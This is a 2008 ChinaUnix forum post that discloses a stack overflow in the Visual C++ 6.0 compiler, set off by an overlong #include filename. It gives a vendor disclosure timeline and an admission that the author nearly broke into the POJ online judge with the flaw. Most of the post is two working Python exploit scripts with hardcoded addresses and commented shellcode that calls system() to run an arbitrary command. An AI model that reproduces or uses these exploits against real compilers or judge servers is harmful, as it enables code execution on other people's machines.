免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3427 | 回复: 0
打印 上一主题 下一主题

vc6.0栈溢出 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-06-21 08:44 |只看该作者 |倒序浏览
vc6.0栈溢出 \r\n问题处在include的文件名长度未检测。 \r\n比如 \r\n#include \"AAAA....AA\"(超多A) \r\n就会挂。 \r\n\r\n<=2008-2-17 发现漏洞。 \r\n2008-3-3 报告给MS,当天收到答复,说正在研究中。 \r\n2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏 \r\n洞发布安全公告或安全建议,且建议我不要公开。 \r\n\r\n我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。 \r\n可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。 \r\n既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。 \r\n\r\n下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。 \r\n\r\nvc6_exp.py \r\n###################################################################### \r\n#!/usr/bin/env python \r\n# vc6 exploit by cly \r\n# 2008-2-17 \r\nimport struct \r\n\r\naddress_jmp_esp = 0x1065AEB3 \r\naddress_system = 0x77BF93C7 \r\naddress_exit = 0x77C09E7E \r\nfilename = \'e.c\' \r\ncmd = \'calc\' \r\n\r\nf = open(filename, \'wb\') \r\nf.write(\'#include \"c:\\\\A\' + cmd + \'||\' + \'A\' * (146 - len(cmd)) \r\n+ struct.pack(\'<i\', address_jmp_esp) \r\n+ \'\\x83\\xEC\\x33\\x83\\xEC\\x65\\x8B\\xC4\\x83\\xEC \r\n\\x04\\x89\\x04\\x24\\xE8\' \r\n+ struct.pack(\'<i\', address_system - 0x0012F0AF) + \'\\xE8\' \r\n+ struct.pack(\'<i\', address_exit - 0x0012F0B4) + \'A\' * 84 + \r\n\'\"\') \r\nf.close() \r\n###################################################################### \r\n\r\nvc6_exp2.py \r\n###################################################################### \r\n#!/usr/bin/env python \r\n# vc6 exploit by cly \r\n# 2008-2-17 \r\nimport struct \r\n\r\nfilename = \'e.c\' \r\ncmd = \'calc\' \r\n\r\naddress_data = 0x1066EFFB \r\n\r\nshellcode = \'\\x32\\xC0\' # xor al, al \r\nshellcode += \'\\xA2\\x9E\\xF0\\x66\\x10\' # mov [1066F09E], al \r\nshellcode += \'\\xA2\\xA5\\xF0\\x66\\x10\' # mov [1066F0A5], al \r\nshellcode += \'\\x68\\x94\\xf0\\x66\\x10\' # push 1066F094 ; ASCII \r\n\"msvcrt.dll\" \r\nshellcode += \'\\xFF\\x15\\xD8\\x31\\x65\\x10\' # call [106531D8] ; \r\nkernel32.GetModuleHandleA \r\nshellcode += \'\\x68\\x9F\\xF0\\x66\\x10\' # push 1066F09F ; ASCII \r\n\"system\" \r\nshellcode += \'\\x50\' # push eax \r\nshellcode += \'\\xFF\\x15\\xDC\\x31\\x65\\x10\' # call [106531DC] ; \r\nkernel32.GetProcAddress \r\nshellcode += \'\\x68\\xA6\\xF0\\x66\\x10\' # push 1066F0A6 ; ASCII \r\ncmd \r\nshellcode += \'\\xFF\\xD0\' # call eax \r\nshellcode += \'\\x32\\xC0\' # xor al, al \r\nshellcode += \'\\x50\' # push eax \r\nshellcode += \'\\xFF\\x15\\xB8\\x31\\x65\\x10\' # call [106531B8] ; \r\nkernel32.ExitProcess \r\n\r\nf = open(filename, \'wb\') \r\nf.write(\'#include \"c:\\\\\' + shellcode + \'A\' * (149 - len(shellcode)) \r\n+ struct.pack(\'<i\', address_data) + \'msvcrt.dllAsystemA\' \r\n+ cmd + \' \' * (90 - len(cmd)) + \'\"\') \r\nf.close() \r\n######################################################################
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP